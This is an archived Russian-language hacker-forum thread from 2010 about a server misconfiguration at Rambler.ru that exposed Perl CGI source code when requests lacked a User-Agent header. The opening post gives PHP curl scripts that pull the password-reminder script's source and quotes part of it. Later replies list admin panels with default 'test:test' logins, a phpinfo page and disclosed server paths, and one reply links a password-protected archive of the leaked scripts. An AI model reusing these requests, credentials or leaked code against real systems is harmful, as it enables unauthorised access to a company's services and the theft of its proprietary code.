PDA

Просмотр полной версии : Некоторые исходники Рамблера.


m0Hze
19.02.2010, 20:37
Совсем нечаянно наткнулся сегодня днем,выкладываю сюда в виде мини статьи.
Запускаем тот скрипт,и смотрим на вывод.
<?php
$exec = curl_init('http://id.rambler.ru/script/reminder.cgi');
curl_setopt($exec, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($exec, CURLOPT_REFERER, 'http://id-planet.rambler.ru/default/');
curl_setopt($exec, CURLOPT_HEADER, 1);
$page = curl_exec($exec);
echo $page;
?>

Запустив скрипт, я был очень удивлен увиденному, а увидел я следующее(приведен лишь отрывок полного кода):

#!/usr/bin/perl -w # Password reminder for mail.rambler.ru project # Original version by maniac@rambler-co.ru # Rewritten by Maxim Dounin, mdounin@rambler-co.ru # $Id: reminder.cgi,v 1.35 2009/04/02 18:51:47 citrin Exp $ ################################################## #############################
use strict;
use warnings;
use utf8;
use CGI qw/ param /;
use Digest::MD5 qw/ md5_hex /;
use Time::HiRes;
use Rambler::CaptchaManager;
use rutils; use r_icq;
use rcfg;
my $H = { myname => 'reminder.cgi', DEBUG => 0, LOG => $rcfg::logdir.'/reminder/reminder_log', # template, used by rutils::print_tmpl TMPL_ROOT => $rcfg::tmpldir, TMPL => 'reminder.tmpl', SKIN => 'id', SKIN_OPT => { DEFAULT => $rcfg::urls{id}, LOGOUT => 'http://www.rambler.ru/', AUTH => $rcfg::urls{id}.'script/auth.cgi', }, # interface charset CHARSET => 'windows-1251', # ratelimits RATE_LOGIN => { rate => 1/3600, burst => 5 }, RATE_IP => { rate => 1/3600, burst => 10 }, RATE_IP_ROBOT => { rate => 1/60, burst => 50 }....

Собственно после несложного мыслительного процесса, я пришел к выводу, что передо мной исходники страницы Восстановление паролей.

А причина то, смешная!

После небольшого танца вокруг Рамблера, было выявлено еще как минимум 5 скриптов, которые можно скачать таким образом, и мне захотелось узнать с чем это связано.Первой мыслью было, что умер интерпретатор Perl, но из браузера я видел вполне нормальный результат работы скрипта, а не его исходник, значит этот вариант отпадает.Посмотрев заголовки отправляемые браузером сервера Рамблера, были поставлены опыты, и выявлено, что Рамблер показывает исходники некоторых скриптов, если к ним обратиться без заголовка User-Agent: ****.
То есть, вот такое обращение к скрипту:

<?php
$header = array('User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8');
$exec = curl_init('http://id.rambler.ru/script/reminder.cgi');
curl_setopt($exec, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($exec, CURLOPT_REFERER, 'http://id-planet.rambler.ru/default/');
curl_setopt($exec, CURLOPT_HEADER, 1);
curl_setopt($exec,CURLOPT_HTTPHEADER, $header);
$page = curl_exec($exec);
echo $page;
?>
вполне нормальное.Увидим результат работы скрипта.Спасебо досвидания.Я отмечать праздники.
Full version статьи! (http://m0hze.habrahabr.ru/blog/84954/)
Всех с наступающим праздником!

XXI
19.02.2010, 21:20
Это походу будет работать на всех сайтах с интерпретатором perl

ЗЫ смешно )


Хотя если скачать исходники, то скоро появятся статьи как отломать мыло )

Mr.Replica
19.02.2010, 21:24
сэнкс чувак...

-Hormold-
19.02.2010, 21:31
Супер! Действительно работает! Если капнуть, то можно скачать около десятка файлов.
Epic fail...

m0Hze
19.02.2010, 21:33
Это походу будет работать на всех сайтах с интерпретатором perl

ЗЫ смешно )


Хотя если скачать исходники, то скоро появятся статьи как отломать мыло )
Fail.

shell_c0de
19.02.2010, 22:14
В рамблере остались хоть норм кодеры ? =\
в прошлом году тоже сорцы были в паблике

XXI
19.02.2010, 22:16
Ухах. Скоро рамблеров появится докуя


Я уже 40 исходников скатал )

wildshaman
19.02.2010, 22:20
Ухах. Скоро рамблеров появится докуя


Я уже 40 исходников скатал )
Где ты там 40 штук-то нашел?)

TR0J@N
19.02.2010, 22:23
Где ты там 40 штук-то нашел?)

Он наверное один и тотже качает) (востановление паса из статьи)

shell_c0de
19.02.2010, 22:29
http://in.fo2.rambler.ru/administrator/ Joomla =)
http://ad.rambler.ru/adm/client/ban.adm?cmd=list&item=bn test:test
http://ad.rambler.ru/adm/admin.adm test:test
http://fo2.rambler.ru/info.php phpinfo
Решето ))

shell_c0de
19.02.2010, 22:32
http://fo2.rambler.ru/forum/member.php?u=1
Работает на vBulletin® версия 3.7.1

http://fo2.rambler.ru/info.php phpinfo
раскрытые путей /usr/local/www/fo2apps/html/info.php

mailbrush
19.02.2010, 22:41
На глазах у меня прикрыли :) Буквально в эту минуту.
PS: На хабре:
m0Hze
Пользователь заблокирован
С чего бы это?

LBEST.
19.02.2010, 22:43
прикрыли :(

][yZ
19.02.2010, 23:03
за что мохзика то на хабре забанили?
новасть куль, слить ниуспел(

m0Hze
19.02.2010, 23:13
Всем приветы.Обидно конечно,что на хабре дали бан.
Неудобно перед пригласившим,да и вообще как то несправедливо,я ведь ви в суппорт отписал до публицакии :)
Ну да ладно,оно того стоило.

Root-access
21.02.2010, 00:22
Непонятна природа этого дебильного косяка... Почему скрипты не исполнялись при отсутствии поля User-Agent?!

m0Hze
21.02.2010, 14:59
Непонятна природа этого дебильного косяка... Почему скрипты не исполнялись при отсутствии поля User-Agent?!
Кривая настройка сервера,я это уже узнал.Такое еще есть на ихних поддоменах,в некоторых папках.В общем,условие,если нет реферера,или он = 0,то скрипты выдаются как text-plaint.
Ежеле нет,то Add-Type ит.д,и он выполняется.Кривые .htaccess

m0Hze
21.02.2010, 15:07
В архиве - 4 скрипта,которые были с/\иtы в первую очередь.Их я выложу.
http://slil.ru/28683765
pwd: antichat
Возможно найдете что то интересное.

xena-mil1
22.02.2010, 06:12
такой вопрос: ета бага присутствует только на рамблере или по дефайлту в большынстве перл скриптов?

$n@ke
22.02.2010, 15:24
сообщение номер 17.